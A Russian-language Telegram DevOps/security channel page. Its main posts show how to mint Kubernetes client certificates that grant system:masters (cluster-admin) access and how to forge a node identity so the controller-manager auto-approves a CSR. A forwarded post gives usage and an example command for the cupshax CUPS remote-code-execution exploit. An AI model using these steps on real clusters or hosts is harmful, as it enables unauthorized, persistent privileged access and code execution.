Vault of DevOps
71 subscribers
236 photos
55 videos
12 files
130 links
Обсуждаем DevOps
Обмазываемся Security

Публикуемые материалы исключительно для ознакомительных целей ;)

Наши каналы:
Музыка: @vault_of_music
Download Telegram
Знаете как создать супер пользака в k8s используя csr Manual/Api?
Anonymous Poll
20%
1. Да
80%
2. Нет
Так-с, начнём с базы.
У нас есть rsa приватный ключик, и запрос на подписание csr (в csr в поле CN мы пишем имя пользователя).

Далее у нас 2 выбора, подписать с использованием openssl или же с помощью api кубера;

Как это сделать руками:
1)
openssl genrsa -out /root/60099.key 2048


2)
openssl req -new -key /root/60099.key -out /root/60099.csr
MUST SET username IN CN: [email protected] !!!!

3)
openssl x509 -req -in /root/60099.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out /root/60099.crt -days 500

4) Собираем наш профиль, не csr не нужно будет апрувить, мы их руками подписали:
k config set-credentials [email protected] --client-key=60099.key --client-certificate=60099.crt
k config set-context [email protected] --cluster=kubernetes [email protected]
k config get-contexts
k config use-context [email protected]


Вариант с api:
Шаги 1 и 2 повторяются из предыдущего шага;
3) Дальше нам необходимо создать запрос на подпись:

apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: {{CN_from_csr}} # ADD
spec:
groups:
- system:authenticated
request: {{BASE_64_ENCODED_CSR}} # ADD
signerName: kubernetes.io/kube-apiserver-client
usages:
- client auth

4) Теперь надо его подписать (kubectl certificate approve {{CN_from_csr}});
5) Далее в объекте csr у нас появится сертификат который можно использовать для взаимодействия с кубером (сборка конфиг файла kubeconfig как в предыдущем способе);
Теперь про сладенькое.

Крч "группы" пользака можно подтянуть через OU расширения в сертификаты:

openssl req -new -newkey rsa:2048 -nodes -keyout /root/60099.key -out /root/60099.csr -subj "/CN=hacker-user/OU=system:masters/OU=system:authenticated"

or:
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: {{CN_from_csr}} # ADD
spec:
groups:
- system:masters # this
- system:authenticated
request: {{BASE_64_ENCODED_CSR}} # ADD
signerName: kubernetes.io/kube-apiserver-client
usages:
- client auth


И всё, не отзываем, чтобы грохнуть надо будет перевыпускать корневой сертификат.

😂 Пока писал подумал, а почему мы выписываем сертификат именно у
kubernetes.io/kube-apiserver-client

Да , он автоматом не подписывает csr, однако у нас есть;

kubernetes.io/kube-apiserver-client-kubelet 

Он может таки и авто апрувнуть сертификатик, но надо будет представиться узлом. Если кто хочет протыкать или если кто-то так делал пожалуйста отпишитесь ;)
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Кому интересно продолжение:

openssl genrsa -out node.key 2048

openssl req -new -key node.key -out node.csr -subj "/CN=system:node:wars/O=system:nodes"

cat node.csr |base64 -w0

apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: node-csr
spec:
request: base64_encoded=
signerName: kubernetes.io/kube-apiserver-client-kubelet
usages:
- digital signature
- key encipherment
- client auth

Тут же получаем авто апрув от kube-controller-manager :)

Бинго мы в кластере, на всякий там, в последнем, авто апрув флагами стоит ;)
Знайте, я сторонник NANO;
Если вы пользуетесь vi, то без вот этой х*рни вам будет ппц, если у вас маунтится конфиг в контейнер через -v, а вы на хосте редактируете файл, у вас черт возьми измениться инод файла и на лету контейнер, например nginx не увидит этого изменения (ls -i в помощь);
This media is not supported in your browser
VIEW IN TELEGRAM
В свете последних событий с хомяком :)
🥰2😁1
Forwarded from ScriptKiddieNotes
Тут какой-то залетный задал вопрос https://t.iss.one/ScriptKiddieNotesChat/3460

Вообще, вопрос интересный. И я начал вспоминать, что же я знаю про "secondary context path traversal".

Как я всегда это понимал - это когда ты не напрямую проводишь атаку типа path traversal на веб-приложение, а когда при этом имеет место быть прокладка в виде прокси/шлюза. И чтобы визуально добиться и достать результат надо попотеть, ибо не так просто подобрать правильный path routing.

Натыкался на нечто подобное, когда в качестве прокси выступал nginx. Но чет не осилил.

Тема не то, чтобы новая, но вполне имеет место быть. Просто автоматикой не детектится, лол)

Материалы по теме:

https://github.com/GrrrDog/weird_proxies

https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency

https://docs.google.com/presentation/d/1N9Ygrpg0Z-1GFDhLMiG3jJV6B_yGqBk8tuRWO1ZicV8

#bb
😁4🥰1
This media is not supported in your browser
VIEW IN TELEGRAM
Так вот, оно что, Максим….
🤯2
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from Похек (Сергей Зыбнев)
This media is not supported in your browser
VIEW IN TELEGRAM
🐧 Cupshax - RCE через службу печати в UNIX
#unix #RCE #CVE

CVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177

Вчера вечером интернет наводнился новостью о новой баге в UNIX системах, которая позволяет выполнить неавторизованный RCE. Но были особые условия, к примеру что должна быть очередь на печать. В прикрепленном видосе демонстрируется PoC.

🛠 Изучить райтап ТУТ

Авторы эксплойта изучили коммит в OpenPrinting CUPS, в котором была исправлена бага и написали эксплойт. Он использует dns-sd обнаружение принтера, требуя, чтобы цель могла получить широковещательное сообщение, т.е. находилась в той же сети.

➡️Использование
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]

A script for executing commands remotely

options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)


➡️Пример использования
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3


📱 Github и мой форк, на случай удаления репы

🌚 @poxek | 📺 RuTube | 🌚 Мерч Похек
Please open Telegram to view this post
VIEW IN TELEGRAM
Интересно, примут ли?)
Forwarded from Водитель по губам 🤮
зачем люди вообще учатся на информационную безопасность? типа все очень просто.....